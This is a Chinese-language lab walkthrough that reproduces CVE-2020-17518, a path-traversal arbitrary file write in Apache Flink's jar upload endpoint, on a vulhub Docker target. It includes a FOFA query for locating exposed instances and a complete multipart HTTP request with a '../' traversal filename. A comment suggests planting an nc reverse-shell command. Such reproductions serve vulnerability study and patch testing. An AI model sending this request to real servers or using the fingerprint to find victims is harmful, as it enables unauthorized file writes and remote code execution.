前言：
Apache Flink是一个开源流处理框架，具有强大的流处理和批处理功能。
Apache Flink 1.5.1引入了一个REST处理程序，允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意
影响版本：
Flink 1.5.1-1.11.2
Fofa语句：
js_name="es2015-polyfills.923637a8e6d276e6f6df.js"
正文：
环境搭建：
使用vulhub搭建，搭建目录：
代码语言：javascript复制/vulhub-master/flink/CVE-2020-17518启动命令：
代码语言：javascript复制docker-compose up -d
访问：http://192.168.0.110:8081/#/overview
换成自己的靶机IP即可，访问效果如下：
复现：
很简单的一次复现，我们打开burp
点击到重发器这里，使用重发器，发送下面的包
代码语言：javascript复制POST /jars/upload HTTP/1.1
Host: 47.94.172.114:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 181
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"
bai
------WebKitFormBoundaryoZ8meKnrrso89R6Y--//目的是写入一个success文件，自己也可以写入一个nc反弹shell的命令
然后我们点击发送
这里返回虽然是400，但是我们已经成功传进去了
我们到靶机服务器中查看
先使用命令：
代码语言：javascript复制docker-compose ps查看文件名
复制文件名
cve-2020-17518-flink-1
然后命令：
代码语言：javascript复制docker exec -it cve-2020-17518-flink-1 bash可以进入靶机的虚拟系统中，中间就是名字
这里我们就进入了靶机的虚拟系统中，可以执行一些命令了
我们到tmp下查看一下
代码语言：javascript复制 ls /tmp
这里可以看到成功上传的文件，代表你已经成功了。
